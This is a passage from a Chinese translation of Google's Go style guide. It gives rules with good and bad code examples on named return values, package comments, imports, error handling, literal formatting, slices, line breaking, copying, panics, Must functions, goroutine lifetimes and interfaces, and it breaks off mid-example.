如果调用者必须对特定的返回值参数采取行动，对它们的命名可以帮助提示行动是什么。\n// Good: // WithTimeout returns a context that will be canceled no later than d duration // from now. // // The caller must arrange for the returned cancel function to be called when // the context is no longer needed to prevent a resource leak. func WithTimeout(parent Context, d time.Duration) (ctx Context, cancel func()) 在上面的代码中，“取消”是一个调用者必须采取的特殊行动。然而，如果把结果参数单独写成（Context, func()），就会不清楚“取消函数”是什么意思。\n当名称产生不必要的重复时，不要使用命名的返回值参数。\n// Bad: func (n *Node) Parent1() (node *Node) func (n *Node) Parent2() (node *Node, err error) 不要为了避免在函数中声明一个变量而给返回值参数命名，这种做法收获的仅仅是很小的实现简洁性，但却会导致不必要的API冗长。\n只有在小型函数中才可以接受裸返回(naked return)。一旦是一个中等规模的函数，就要显式地带着返回值一起返回。同样地，不要因为可以使用裸返回就给返回值参数命名。清晰性总是比在你的函数中节省几行字更重要。\n如果一个返回值参数的值必须在deferred闭包中改变，命名它则总是可以接受的。\n提示：在函数签名中，类型往往比名称更清晰。GoTip #38：作为具名类型的函数 说明了这一点。 在上面的WithTimeout中，真正的代码在返回值参数列表中使用了CancelFunc而不是func()，这样做(译注：使用表意的类型)可以省下来很多编写文档的工作。 包注释 包的注释必须紧挨着package子句出现，在注释和包名之间没有空行。例如。\n// Good: // Package math provides basic constants and mathematical functions. // // This package does not guarantee bit-identical results across architectures. package math 每个包必须有一个包的注释。如果一个包是由多个文件组成的，则其中一个文件应该有一个包注释。\nmain包的注释有一个稍微不同的形式，BUILD文件中go_binary规则的名称代替了包名。\n// Good: // The seed_generator command is a utility that generates a Finch seed file // from a set of JSON study configs. package main 只要二进制文件的名称与BUILD文件中写的一模一样，其他样式的注释也可以。当二进制名称是第一个词时，需要将其大写，即使它与命令行调用的拼写不严格一致。\n// Good: // Binary seed_generator ... // Command seed_generator ... // Program seed_generator ... // The seed_generator command ... // The seed_generator program ... // Seed_generator ... 提示：\n命令行调用和API使用的例子可以成为有用的文档。考虑Godoc的格式，请缩进包含代码的注释行。\n如果没有明显的主文件，或者包的注释特别长，把文档注释单独放在一个名为doc.go的文件中，只写上注释和包声明句也是可以接受的。\n可以用多行注释来代替多个单行注释。这有利于在源文件中对部分内容的复制和粘贴操作，比如二进制文件的命令行说明或模板示例。\n// Good: /* The seed_generator command is a utility that generates a Finch seed file from a set of JSON study configs.\nseed_generator *.json | base64 \u0026gt; finch-seed.base64 */ package template\n为维护者准备的、适用于整个文件的注释，通常放在import声明语句的后面。这些注释不在Godoc中显示，不受上述包注释规则的约束。\n导入 重命名导入包 import只应该在为避免与其他import的名称冲突时才进行重命名(一个推论是，好的包名不应该需要重命名)。在名字冲突的情况下，最好对本地的或项目特定的包进行重命名。包的本地名称（别名）必须遵循包命名的指导，包括禁止使用下划线和大写字母。\n生成的protobuf协议包必须被重新命名，以去除其名称中的下划线，其别名必须有一个pb后缀。更多信息请参见proto和stub的最佳实践。\n// Good: import ( fspb \u0026quot;path/to/package/foo_service_go_proto\u0026quot; ) 如果导入的软件包名称没有任何有用的标识信息（例如，package v1），应该将其重新命名为包括之前路径成分的名字。重命名必须与其他导入相同软件包的本地文件一致，包括版本号。\n注意：最好是重命名包以符合好的包名称，但这对于在vendor目录中的软件包往往是不可行的。\n// Good: import ( core \u0026quot;github.com/kubernetes/api/core/v1\u0026quot; meta \u0026quot;github.com/kubernetes/apimachinery/pkg/apis/meta/v1beta1\u0026quot; ) 如果您需要导入一个包，其名称与你想使用的常见局部变量名称相冲突（例如 url, ssh），并且你希望重命名该包，首选的方法是使用pkg后缀（例如urlpkg）。注意，一个本地变量可以遮蔽一个包；但只有当这样的变量在同一范围内时，且该包仍然需要被使用时，这种重命名才是必要的。\n分组导入 包应分为两组导入：\n标准库包\n其他包（项目和vendor包）\n// Good: package main\nimport ( \u0026ldquo;fmt\u0026rdquo; \u0026ldquo;hash/adler32\u0026rdquo; \u0026ldquo;os\u0026rdquo;\n\u0026quot;github.com/dsnet/compress/flate\u0026quot; \u0026quot;golang.org/x/text/encoding\u0026quot; \u0026quot;google.golang.org/protobuf/proto\u0026quot; foopb \u0026quot;myproj/foo/proto/proto\u0026quot; _ \u0026quot;myproj/rpc/protocols/dial\u0026quot; _ \u0026quot;myproj/security/auth/authhooks\u0026quot; )\n将项目包分成多个组是可以接受的，例如，如果你想为重命名的、只为副作用效果而导入的，或其他特殊的包单独设一个组。\n// Good: package main import ( \u0026quot;fmt\u0026quot; \u0026quot;hash/adler32\u0026quot; \u0026quot;os\u0026quot; \u0026quot;github.com/dsnet/compress/flate\u0026quot; \u0026quot;golang.org/x/text/encoding\u0026quot; \u0026quot;google.golang.org/protobuf/proto\u0026quot; foopb \u0026quot;myproj/foo/proto/proto\u0026quot; _ \u0026quot;myproj/rpc/protocols/dial\u0026quot; _ \u0026quot;myproj/security/auth/authhooks\u0026quot; ) 注意: goimports工具不支持维护在标准库和Google导入包之间强制分出的可选组。额外的导入子组需要作者和审核者的关注，以保证其符合要求。\n同是AppEngine应用程序的Google程序应该有一个单独的AppEngine导入组。\nGofmt负责按导入路径对每个组进行排序。然而，它并不会自动将导入的内容分成组。goimports工具结合了Gofmt的功能和导入管理，根据上面的决定将导入包分离成组。让goimports全权负责管理包导入是ok的，但当一个文件被修改时，其导入列表必须保持内部一致。\n空导入(import _) 只为其副作用而导入的包（使用 import _ “package” 语法）只能在main包中，或在需要它们的测试中导入。\n这种包的一些例子包括：\ntime/tzdataa 图像处理代码中的image/jpeg 避免在library包中进行空导入，即使library间接依赖于它们。将副作用导入限制在main包中有助于控制依赖关系，并使编写依赖不同导入的测试成为可能，而不会产生冲突或浪费构建成本。\n以下是这个规则的唯一例外：\n你可以使用一个空导入来绕过nogo静态检查器中不允许的导入检查。 你可以在使用//go:embed编译器指令的源文件中使用一个embed包的空导入。 提示：如果你在生产中创建了一个间接依赖副作用导入的library包，请写明预期的用法。\nimport dot(import .) “import .”形式是一种语言特性，它允许将从另一个包中导出的标识符带到当前的包中，而无需在使用它们时使用包限定符。更多信息请参见语言规范。\n不要在谷歌代码库中使用这个功能特性；它使人们更难分辨功能的来源。\n// Bad: package foo_test import ( \u0026quot;bar/testutil\u0026quot; // also imports \u0026quot;foo\u0026quot; . \u0026quot;foo\u0026quot; ) var myThing = Bar() // Bar defined in package foo; no qualification needed. // Good: package foo_test import ( \u0026quot;bar/testutil\u0026quot; // also imports \u0026quot;foo\u0026quot; \u0026quot;foo\u0026quot; ) var myThing = foo.Bar() 错误 返回错误 使用error来表示一个函数可能失败。按照惯例，error应作为最后一个返回值参数。\n// Good: func Good() error { /* ... */ } 返回一个nil错误是提示成功操作的惯用方法，否则就代表失败。如果一个函数返回一个错误，调用者必须将所有非错误类型的返回值视为未指定的，除非有明确的文档说明。通常情况下，这些非错误类型的返回值是它们的零值，但这不能被假定。\n// Good: func GoodLookup() (*Result, error) { // ... if err != nil { return nil, err } return res, nil } 返回错误的导出函数应该使用error类型来返回它们。而使用具体的错误类型容易受到微妙的错误影响：一个具体的nil指针可以被包装成一个接口，从而成为一个非nil值（见Go FAQ中关于这个主题的条目）。\n// Bad: func Bad() *os.PathError { /*...*/ } 提示：一个接受context.Context参数的函数通常应该返回一个错误，以便调用者可以确定在函数运行时是否取消了context。\n错误字符串 错误字符串不应大写（除非是以导出名称、专有名词或首字母缩略词开始），也不应以标点符号结束。这是因为错误字符串在打印给用户之前，通常出现在其他环境中。\n// Bad: err := fmt.Errorf(\u0026quot;Something bad happened.\u0026quot;) // Good: err := fmt.Errorf(\u0026quot;something bad happened\u0026quot;) 另一方面，完整显示的消息（日志、测试失败、API响应或其他用户界面）的风格视情况而定，但通常应该以大写开头。\n// Good: log.Infof(\u0026quot;Operation aborted: %v\u0026quot;, err) log.Errorf(\u0026quot;Operation aborted: %v\u0026quot;, err) t.Errorf(\u0026quot;Op(%q) failed unexpectedly; err=%v\u0026quot;, args, err) 错误处理 在代码中遇到错误时应该慎重选择如何处理它。通常情况下，使用“_”空变量来丢弃错误是不合适的。如果一个函数返回一个错误，请做以下其中一个：\n立即处理并解决该错误。 将错误返回给调用者。 在特殊情况下，调用log.Fatal或（如果绝对必要）panic。 注意：log.Fatalf不是标准库中的日志。参见#logging。\n在极少数情况下，忽略或丢弃一个错误是合适的（例如对(*bytes.Buffer).Write的调用被记录为永不失败），附带的注释应该解释为什么这是安全的。\n// Good: var b *bytes.Buffer n, _ := b.Write(p) // never returns a non-nil error 关于错误处理的更多讨论和例子，请参见《Effective Go》和最佳实践。\n带内(in-band)错误 在C语言和类似语言中，函数通常会返回-1、null或空字符串等值，以示错误或丢失结果。这就是所谓的带内错误处理。\n译注：所谓带内(in-band)是指将错误值与普通返回值混在一起。\n// Bad: // Lookup returns the value for key or -1 if there is no mapping for key. func Lookup(key string) int 未能检查带内错误值会导致错误，并可能将错误归于出错的函数。\n// Bad: // The following line returns an error that Parse failed for the input value, // whereas the failure was that there is no mapping for missingKey. return Parse(Lookup(missingKey)) Go对多返回值的支持为此提供了一个更好的解决方案（见Effective Go中关于多个返回值的部分）。与其要求客户检查带内的错误值，一个函数应该返回一个额外的值来表明它的其他返回值是否有效。这个返回值可以是一个错误或在不需要解释时是一个布尔值，并且应该是最终的返回值。\n// Good: // Lookup returns the value for key or ok=false if there is no mapping for key. func Lookup(key string) (value string, ok bool) 这个API可以防止调用者错误地将代码写成Parse(Lookup(key))，因为Lookup(key)有两个返回值，所以会导致编译错误。\n以这种方式返回错误，可以鼓励更强大和明确的错误处理。\n// Good: value, ok := Lookup(key) if !ok { return fmt.Errorf(\u0026quot;no value for %q\u0026quot;, key) } return Parse(value) 一些标准库函数，如包strings中的函数，返回带内错误值。这大大简化了字符串处理代码，但代价是要求程序员更加勤奋。一般来说，Google代码库中的Go代码应该为错误返回额外的值。\n缩进错误流程 在继续进行你的代码的其余部分之前，先处理错误。这可以提高代码的可读性，使读者能够迅速找到正常的路径。这个逻辑同样适用于任何测试一个条件是否为终止条件的代码块（例如，return、panic、log.Fatal）。\n如果终止条件没有得到满足，后续运行的代码应该出现在if块之后，而不应该放入缩进的else子句中。\n// Good: if err != nil { // error handling return // or continue, etc. } // normal code // Bad: if err != nil { // error handling } else { // normal code that looks abnormal due to indentation } 提示：如果你在多行代码中使用了一个变量，通常不值得使用if-with-initializer风格。在这种情况下，通常最好将声明移出，使用标准的if语句。\n// Good: x, err := f() if err != nil { // error handling return } // lots of code that uses x // across multiple lines // Bad: if x, err := f(); err != nil { // error handling return } else { // lots of code that uses x // across multiple lines } 详情见Go技巧1：Line of Sight和TotT：通过减少嵌套降低代码的复杂性。\n语言 字面值格式 Go有一个非常强大的复合字面值语法，可以用一个表达式来表达深度嵌套的复杂值。在可能的情况下，应该使用这种字面值语法，而不是逐个字段地赋值。一般来说，gofmt对字面值的格式化是非常好的，但是还有一些额外的规则来保持这些字面值的可读性和可维护性。\n字段名 结构体字面值通常应该为当前包之外定义的类型指定字段名。\n包括来自其他软件包的类型的字段名\n// Good: good := otherpkg.Type{A: 42}\n结构体中字段的位置和字段的完整集合（当字段名被省略时，这两者都是有必要搞清楚的）通常不被认为是结构体的公共API的一部分；需要指定字段名以避免不必要的耦合。\n// Bad: // https://pkg.go.dev/encoding/csv#Reader r := csv.Reader{',', '#', 4, false, false, false, false} 在小型、简单的结构体中可以省略字段名，这些结构体的组成和顺序都是稳定的，都有对应的文档记录。\n// Good: okay := image.Point{42, 54} also := image.Point{X: 42, Y: 54} 对于包的本地类型，字段名可选\n// Good: okay := Type{42} also := internalType{4, 2}\n如果要使代码更清晰，还是应该使用字段名，而且这样做是非常普遍的。例如，一个有大量字段的结构体几乎都应该用字段名来初始化。\n// Good: okay := StructWithLotsOfFields{ field1: 1, field2: \u0026quot;two\u0026quot;, field3: 3.14, field4: true, } 匹配括号 一对大括号的最后一半应该总是应该出现在缩进量与开头的大括号相同的一行中。单行字面值也必须有这个属性。当字面值跨越多行时，保持这一属性可以使字面值的大括号匹配与函数和if语句等常见Go语法结构的大括号匹配相同。\n这方面最常见的错误是在多行结构体字面值中把收尾括号和值放在同一行。在这种情况下，该行应以逗号结束，收尾括号应出现在下一行。\n// Good: good := []*Type{{Key: \u0026quot;value\u0026quot;}} // Good: good := []*Type{ {Key: \u0026quot;multi\u0026quot;}, {Key: \u0026quot;line\u0026quot;}, } // Bad: bad := []*Type{ {Key: \u0026quot;multi\u0026quot;}, {Key: \u0026quot;line\u0026quot;}} // Bad: bad := []*Type{ { Key: \u0026quot;value\u0026quot;}, } 拥抱式大括号 只有在以下两种情况下，才允许在切片和数组字面值的大括号之间丢弃空格（又称 “拥抱”）。\n缩进匹配\n内部值也是字面值或proto构建器（即不是变量或其他表达式）。\n// Good: good := []*Type{ { // Not cuddled Field: \u0026ldquo;value\u0026rdquo;, }, { Field: \u0026ldquo;value\u0026rdquo;, }, }\n// Good: good := []*Type{{ // Cuddled correctly Field: \u0026ldquo;value\u0026rdquo;, }, { Field: \u0026ldquo;value\u0026rdquo;, }}\n// Good: good := []*Type{ first, // Can\u0026rsquo;t be cuddled {Field: \u0026ldquo;second\u0026rdquo;}, }\n// Good: okay := []*pb.Type{pb.Type_builder{ Field: \u0026ldquo;first\u0026rdquo;, // Proto Builders may be cuddled to save vertical space }.Build(), pb.Type_builder{ Field: \u0026ldquo;second\u0026rdquo;, }.Build()}\n// Bad: bad := []*Type{ first, { Field: \u0026ldquo;second\u0026rdquo;, }}\n重复的类型名 重复的类型名可以从切片和map字面值中省略。这有助于减少混乱。明确的使用重复类型名的一个合理场合是当处理一个在你的项目中不常见的复杂类型时，当重复的类型名在相隔很远的行上时，可以提醒读者的上下文。\n// Good: good := []*Type{ {A: 42}, {A: 43}, } // Bad: repetitive := []*Type{ \u0026amp;Type{A: 42}, \u0026amp;Type{A: 43}, } // Good: good := map[Type1]*Type2{ {A: 1}: {B: 2}, {A: 3}: {B: 4}, } // Bad: repetitive := map[Type1]*Type2{ Type1{A: 1}: \u0026amp;Type2{B: 2}, Type1{A: 3}: \u0026amp;Type2{B: 4}, } 提示：如果你想删除结构体字面值中重复的类型名称，你可以运行gofmt -s。\n零值字段 当清晰度不会因此而降低时，零值字段可以从结构体字面值中省略。\n设计良好的API经常采用零值结构来提高可读性。例如，从下面的结构体中省略三个零值字段，可以使人们将注意力集中到正在赋值的option字段上。\n// Bad: import ( \u0026quot;github.com/golang/leveldb\u0026quot; \u0026quot;github.com/golang/leveldb/db\u0026quot; ) ldb := leveldb.Open(\u0026quot;/my/table\u0026quot;, \u0026amp;db.Options{ BlockSize: 1\u0026lt;\u0026lt;16, ErrorIfDBExists: true, // These fields all have their zero values. BlockRestartInterval: 0, Comparer: nil, Compression: nil, FileSystem: nil, FilterPolicy: nil, MaxOpenFiles: 0, WriteBufferSize: 0, VerifyChecksums: false, }) // Good: import ( \u0026quot;github.com/golang/leveldb\u0026quot; \u0026quot;github.com/golang/leveldb/db\u0026quot; ) ldb := leveldb.Open(\u0026quot;/my/table\u0026quot;, \u0026amp;db.Options{ BlockSize: 1\u0026lt;\u0026lt;16, ErrorIfDBExists: true, }) 表驱动测试中的结构体经常受益于显式的字段名，特别是当测试结构体十分重要的时候。这允许作者在有关字段与测试用例无关时完全省略零值字段。例如，成功的测试用例应该省略任何与错误相关或失败相关的字段。在零值对于理解测试用例是必要的情况下，如测试零或零输入，应指定字段名。\n简明\ntests := []struct { input string wantPieces []string wantErr error }{ { input: \u0026quot;1.2.3.4\u0026quot;, wantPieces: []string{\u0026quot;1\u0026quot;, \u0026quot;2\u0026quot;, \u0026quot;3\u0026quot;, \u0026quot;4\u0026quot;}, }, { input: \u0026quot;hostname\u0026quot;, wantErr: ErrBadHostname, }, } 显式\ntests := []struct { input string wantIPv4 bool wantIPv6 bool wantErr bool }{ { input: \u0026quot;1.2.3.4\u0026quot;, wantIPv4: true, wantIPv6: false, }, { input: \u0026quot;1:2::3:4\u0026quot;, wantIPv4: false, wantIPv6: true, }, { input: \u0026quot;hostname\u0026quot;, wantIPv4: false, wantIPv6: false, wantErr: true, }, } 空切片 在大多数情况下，nil和空切片之间没有功能上的区别。像len和cap这样的内置函数在nil切片上的表现与预期一致。\n// Good: import \u0026quot;fmt\u0026quot; var s []int // nil fmt.Println(s) // [] fmt.Println(len(s)) // 0 fmt.Println(cap(s)) // 0 for range s {...} // no-op s = append(s, 42) fmt.Println(s) // [42] 如果你声明一个空切片作为局部变量（特别是如果它可以成为返回值的来源），最好选择nil初始化以减少调用者的bug风险。\n// Good: var t []string // Bad: t := []string{} 不要创建强迫其客户区分nil和空切片的API：\n// Good: // Ping pings its targets. // Returns hosts that successfully responded. func Ping(hosts []string) ([]string, error) { ... } // Bad: // Ping pings its targets and returns a list of hosts // that successfully responded. Can be empty if the input was empty. // nil signifies that a system error occurred. func Ping(hosts []string) []string { ... } 在设计接口时，要避免区分nil切片和非nil的零长度切片，因为这可能导致微妙的编程错误。这通常需要我们使用len来检查是否为空，而不是与nil比较来实现。\n这个实现接受nil和零长度的切片作为”空”：\n// Good: // describeInts describes s with the given prefix, unless s is empty. func describeInts(prefix string, s []int) { if len(s) == 0 { return } fmt.Println(prefix, s) } 而不是依靠区别nil和零长度的切片来作为API的一部分：\n// Bad: func maybeInts() []int { /* ... */ } // describeInts describes s with the given prefix; pass nil to skip completely. func describeInts(prefix string, s []int) { // The behavior of this function unintentionally changes depending on what // maybeInts() returns in 'empty' cases (nil or []int{}). if s == nil { return } fmt.Println(prefix, s) } describeInts(\u0026quot;Here are some ints:\u0026quot;, maybeInts()) 进一步讨论见带内错误。\n缩进的混乱 避免引入断行，如果它将使其余的行与缩进的代码块对齐。如果这是不可避免的，请留出一个空格，将代码块中的代码与被包裹的行分开。\n// Bad: if longCondition1 \u0026amp;\u0026amp; longCondition2 \u0026amp;\u0026amp; // Conditions 3 and 4 have the same indentation as the code within the if. longCondition3 \u0026amp;\u0026amp; longCondition4 { log.Info(\u0026quot;all conditions met\u0026quot;) } 具体准则和例子见以下章节：\n函数格式化 条件语句和循环 字面值格式化 函数格式化 函数或方法声明的签名应该保持在一行，以避免缩进的混乱。\n函数参数列表可能成为Go源文件中最长的几行。然而，它们在缩进的变化之前，因此很难以一种不使后续行看起来像函数体的一部分的混乱方式来断行。\n// Bad: func (r *SomeType) SomeLongFunctionName(foo1, foo2, foo3 string, foo4, foo5, foo6 int) { foo7 := bar(foo1) // ... } 参见最佳实践，了解一些缩短函数调用的选项，否则这些函数会有很多参数。\n// Good: good := foo.Call(long, CallOptions{ Names: list, Of: of, The: parameters, Func: all, Args: on, Now: separate, Visible: lines, }) // Bad: bad := foo.Call( long, list, of, parameters, all, on, separate, lines, ) 通过析出局部变量，通常可以缩短行数。\n// Good: local := helper(some, parameters, here) good := foo.Call(list, of, parameters, local) 同样地，函数和方法的调用也不应该仅仅根据行的长度来区分。\n// Good: good := foo.Call(long, list, of, parameters, all, on, one, line) // Bad: bad := foo.Call(long, list, of, parameters, with, arbitrary, line, breaks) 不要给特定的函数参数添加注释。相反，使用选项结构或在函数文档中添加更多细节。\n// Good: good := server.New(ctx, server.Options{Port: 42}) // Bad: bad := server.New( ctx, 42, // Port ) 如果调用函数时的语句长得让人不舒服，请考虑重构。\n// Good: // Sometimes variadic arguments can be factored out replacements := []string{ \u0026quot;from\u0026quot;, \u0026quot;to\u0026quot;, // related values can be formatted adjacent to one another \u0026quot;source\u0026quot;, \u0026quot;dest\u0026quot;, \u0026quot;original\u0026quot;, \u0026quot;new\u0026quot;, } // Use the replacement struct as inputs to NewReplacer. replacer := strings.NewReplacer(replacements...) 如果不能改变API，或者本地不常调用（无论调用是否太长），如果有助于理解调用，添加换行符总是允许的。\n// Good: canvas.RenderCube(cube, x0, y0, z0, x0, y0, z1, x0, y1, z0, x0, y1, z1, x1, y0, z0, x1, y0, z1, x1, y1, z0, x1, y1, z1, ) 请注意，上述例子中的行没有在特定的列边界处被换行，而是根据坐标三要素进行分组。\n在函数中的长字符串字数不应该因为行长的原因而被打断。对于包含此类字符串的函数，可以在字符串格式之后添加一个换行符，参数可以在下一行或后续行提供。关于断行的位置，最好是根据输入的语义分组来决定，而不是单纯地根据行的长度。\n// Good: log.Warningf(\u0026quot;Database key (%q, %d, %q) incompatible in transaction started by (%q, %d, %q)\u0026quot;, currentCustomer, currentOffset, currentKey, txCustomer, txOffset, txKey) // Bad: log.Warningf(\u0026quot;Database key (%q, %d, %q) incompatible in\u0026quot;+ \u0026quot; transaction started by (%q, %d, %q)\u0026quot;, currentCustomer, currentOffset, currentKey, txCustomer, txOffset, txKey) 条件与循环 一个if语句不应断行；多行if子句会导致缩进混乱。\n// Bad: // The second if statement is aligned with the code within the if block, causing // indentation confusion. if db.CurrentStatusIs(db.InTransaction) \u0026amp;\u0026amp; db.ValuesEqual(db.TransactionKey(), row.Key()) { return db.Errorf(db.TransactionError, \u0026quot;query failed: row (%v): key does not match transaction key\u0026quot;, row) } 如果不需要短路行为，可以直接提取布尔操作数：\n// Good: inTransaction := db.CurrentStatusIs(db.InTransaction) keysMatch := db.ValuesEqual(db.TransactionKey(), row.Key()) if inTransaction \u0026amp;\u0026amp; keysMatch { return db.Error(db.TransactionError, \u0026quot;query failed: row (%v): key does not match transaction key\u0026quot;, row) } 也可能有其他的局部变量可以被提取出来，特别是如果条件已经是重复的。\n// Good: uid := user.GetUniqueUserID() if db.UserIsAdmin(uid) || db.UserHasPermission(uid, perms.ViewServerConfig) || db.UserHasPermission(uid, perms.CreateGroup) { // ... } // Bad: if db.UserIsAdmin(user.GetUniqueUserID()) || db.UserHasPermission(user.GetUniqueUserID(), perms.ViewServerConfig) || db.UserHasPermission(user.GetUniqueUserID(), perms.CreateGroup) { // ... } 包含闭包或多行结构体字面值的if语句应确保大括号的匹配，以避免缩进的混乱。\n// Good: if err := db.RunInTransaction(func(tx *db.TX) error { return tx.Execute(userUpdate, x, y, z) }); err != nil { return fmt.Errorf(\u0026quot;user update failed: %s\u0026quot;, err) } // Good: if _, err := client.Update(ctx, \u0026amp;upb.UserUpdateRequest{ ID: userID, User: user, }); err != nil { return fmt.Errorf(\u0026quot;user update failed: %s\u0026quot;, err) } 同样地，不要试图在for语句中人为的插入换行。如果没有优雅的方法来重构它，你总是可以让这一行简单地变长。\n// Good: for i, max := 0, collection.Size(); i \u0026lt; max \u0026amp;\u0026amp; !collection.HasPendingWriters(); i++ { // ... } 不过，往往是有方法的：\n// Good: for i, max := 0, collection.Size(); i \u0026lt; max; i++ { if collection.HasPendingWriters() { break } // ... } switch和case语句也应该保持在一行：\n// Good: switch good := db.TransactionStatus(); good { case db.TransactionStarting, db.TransactionActive, db.TransactionWaiting: // ... case db.TransactionCommitted, db.NoTransaction: // ... default: // ... } // Bad: switch bad := db.TransactionStatus(); bad { case db.TransactionStarting, db.TransactionActive, db.TransactionWaiting: // ... case db.TransactionCommitted, db.NoTransaction: // ... default: // ... } 如果行过长，请缩进所有case，并用空行隔开，以避免缩进的混乱。\n// Good: switch db.TransactionStatus() { case db.TransactionStarting, db.TransactionActive, db.TransactionWaiting, db.TransactionCommitted: // ... case db.NoTransaction: // ... default: // ... } 在将变量与常数进行比较的条件语句中，将变量值放在判等运算符的左侧：\n// Good: if result == \u0026quot;foo\u0026quot; { // ... } 而不是采用常量在先（”尤达式条件语句“）。\n// Bad: if \u0026quot;foo\u0026quot; == result { // ... } 拷贝 为了避免意外的别名和类似的错误，在从其他包中复制结构体时要小心。例如，同步对象（如sync.Mutex）不能被复制。\nbytes.Buffer类型包含一个[]byte切片，作为对小字符串的优化，该切片可以引用一个小的字节数组。如果你拷贝一个Buffer，拷贝中的切片可能会建立原始数组的别名，导致后续的方法调用产生意外的结果。\n一般来说，如果一个T类型的值的方法与指针类型*T有关，就不要复制它。\n// Bad: b1 := bytes.Buffer{} b2 := b1 调用一个值类型接收器的方法可以隐藏复制。当你编写API时，如果你的结构体包含不应该被复制的字段，你一般应该使用指针类型和返回指针类型。\n下面这些是可以接受的。\n// Good: type Record struct { buf bytes.Buffer // other fields omitted } func New() *Record {...} func (r *Record) Process(...) {...} func Consumer(r *Record) {...} 但是如下这些通常是错误的：\n// Bad: type Record struct { buf bytes.Buffer // other fields omitted } func (r Record) Process(...) {...} // Makes a copy of r.buf func Consumer(r Record) {...} // Makes a copy of r.buf 本指南也适用于复制sync.Mutex。\n不要panic 不要在正常的错误处理中使用panic。相反，使用错误和多个返回值。参见Effective Go中关于错误的部分。\n在main包和初始化代码中，考虑用log.Exit来处理应该终止程序的错误（例如，无效的配置），因为在许多这种情况下，堆栈跟踪不会帮助到读者。请注意：log.Exit调用os.Exit，任何defer函数都不会被运行。\n对于表明”不可能”的条件的错误，即应该总是在代码审查和/或测试期间捕获的错误，一个函数可以合理地返回一个错误或调用log.Fatal。\n注意：log.Fatalf不是标准库中的日志。参见#logging。\nMust函数 在失败时停止程序的辅助函数遵循命名惯例MustXYZ（或mustXYZ）。一般来说，它们应该只在程序启动初期被调用，而不是在像用户输入这样的事情上被调用，因为在这种情况下，正常的Go错误处理是首选。\n这经常出现在专门在包初始化时调用的初始化包级变量的函数中（如template.Must和regexp.MustCompile）。\n// Good: func MustParse(version string) *Version { v, err := Parse(version) if err != nil { log.Fatalf(\u0026quot;MustParse(%q) = _, %v\u0026quot;, version, err) } return v } // Package level \u0026quot;constant\u0026quot;. If we wanted to use `Parse`, we would have had to // set the value in `init`. var DefaultVersion = MustParse(\u0026quot;1.2.3\u0026quot;) 注意：log.Fatalf不是标准库中的日志。参见#logging。\n同样的约定可以用在只停止当前测试的测试helper函数中（使用t.Fatal）。这样的helper函数在创建测试值时往往很方便，例如在表驱动测试的结构体字段中，因为返回错误的函数不能直接赋值给结构体字段。\n// Good: func mustMarshalAny(t *testing.T, m proto.Message) *anypb.Any { t.Helper() any, err := anypb.New(m) if err != nil { t.Fatalf(\u0026quot;MustMarshalAny(t, m) = %v; want %v\u0026quot;, err, nil) } return any } func TestCreateObject(t *testing.T) { tests := []struct{ desc string data *anypb.Any }{ { desc: \u0026quot;my test case\u0026quot;, // Creating values directly within table driven test cases. data: mustMarshalAny(t, mypb.Object{}), }, // ... } // ... } 在这两种情况下，这种模式的价值在于helper函数可以在”值”的上下文中被调用。这些helper函数不应该在难以确保错误被捕获的地方或在应该检查错误的上下文中被调用（例如，在许多请求处理程序中）。对于常量输入，这让测试可以轻松确保Must参数是格式良好的，而对于非常量输入，它允许测试验证错误可以被正确处理或传播。\n在测试中使用Must函数时，它们通常应该被标记为测试助手，并在出错时调用t.Fatal（如果要了解更多，可参见测试助手中的错误处理）。\n当常规错误处理可行时（包括一些重构），Must函数就不应该被使用。\n// Bad: func Version(o *servicepb.Object) (*version.Version, error) { // Return error instead of using Must functions. v := version.MustParse(o.GetVersionString()) return dealiasVersion(v) } goroutine的生命周期 当你创建新的goroutines时，要明确它们何时或是否会退出。\ngoroutine可能因阻塞在channel的发送或接收操作上而导致泄漏。垃圾收集器不会终止一个goroutine，即使阻塞它的channel已经是不可到达的了。\n即使goroutine没有泄漏，当它们不再被需要时，让它们继续存活也会导致其他微妙的、难以诊断的问题。在一个已经关闭的channel上执行发送操作会导致panic。\n// Bad: ch := make(chan int) ch \u0026lt;- 42 close(ch) ch \u0026lt;- 13 // panic 在“不需要结果之后”修改仍在使用的输入，会导致数据竞争。让goroutine存活任意长的时间会导致不可预知的内存使用。\n编写并发代码时应该明确goroutine的生命周期。通常情况下，这意味着将同步相关的代码限制在一个函数的范围内，并将逻辑分解到同步函数中。如果并发性仍然不明显，那么记录下goroutine退出的时间和原因是很重要的。\n遵循围绕Context使用的最佳实践的代码通常有助于明确这一点。传统上，它是用context.Context来管理的。\n// Good: func (w *Worker) Run(ctx context.Context) error { // ... for item := range w.q { // process returns at latest when the context is cancelled. go process(ctx, item) } // ... } 以上还有其他变种，使用原始信号channel，如chan struct{}、同步变量、条件变量等。重要的是，goroutine的结束对后续维护者来说是显而易见的。\n相比之下，下面的代码对其生成的goroutine的结束时间很不在意：\n// Bad: func (w *Worker) Run() { // ... for item := range w.q { // process returns when it finishes, if ever, possibly not cleanly // handling a state transition or termination of the Go program itself. go process(item) } // ... } 这段代码可能看起来很正常，但有几个潜在的问题：\n这段代码在生产中可能有未定义的行为，程序可能不会干净地终止，即使操作系统释放了资源。 由于代码的生命周期不确定，该代码很难进行有意义的测试。 该代码可能会像上面描述的那样泄漏资源。 也请参见：\n不要在不知道如何停止的情况下启动一个goroutine 反思经典的并发模式：幻灯片，视频 Go程序何时结束 接口 Go接口类型定义一般放在使用接口类型值的包中(如下面示例中的consumer包)，而不是实现接口类型的包中。实现包应该返回具体的（通常是指针或结构体）类型。这样一来，新的方法可以被添加到实现中，而不需要大量的重构。参见GoTip #49: 接受接口，返回具体类型以了解更多细节。\n不要从消费接口的API中导出接口的测试替身实现。相反，设计API，使其可以使用真正实现的公共API进行测试。请参阅GoTip #42: 授权测试存根以了解更多细节。即使使用真实实现不可行，也没有必要引入一个完全覆盖真实类型中所有方法的接口；消费者可以创建一个只包含它所需要的方法的接口，正如GoTip #78: 最小可行接口中所展示的。\n要测试使用Stubby RPC客户端的包，请使用真实的客户端连接。如果在测试中不能运行真正的服务器，Google的内部做法是使用内部的rpctest包（即将推出！）获得一个真正的客户端连接到本地[测试替身]。\n在使用之前不要定义接口（见TotT: Code Health: Eliminate YAGNI Smells ）。如果没有一个真实的使用例子，就很难看出一个接口是否有必要，更不用说它应该包含哪些方法。\n如果包的用户不需要为它们传递不同类型的参数，就不要使用接口类型的参数。\n不要导出包用户不需要的接口。\nTODO: 写一份关于接口的更深入的文档，并在此链接。\n// Good: package consumer // consumer.go type Thinger interface { Thing() bool } func Foo(t Thinger) string { ... } // Good: package consumer // consumer_test.go type fakeThinger struct{ ... } func (t fakeThinger) Thing() bool { 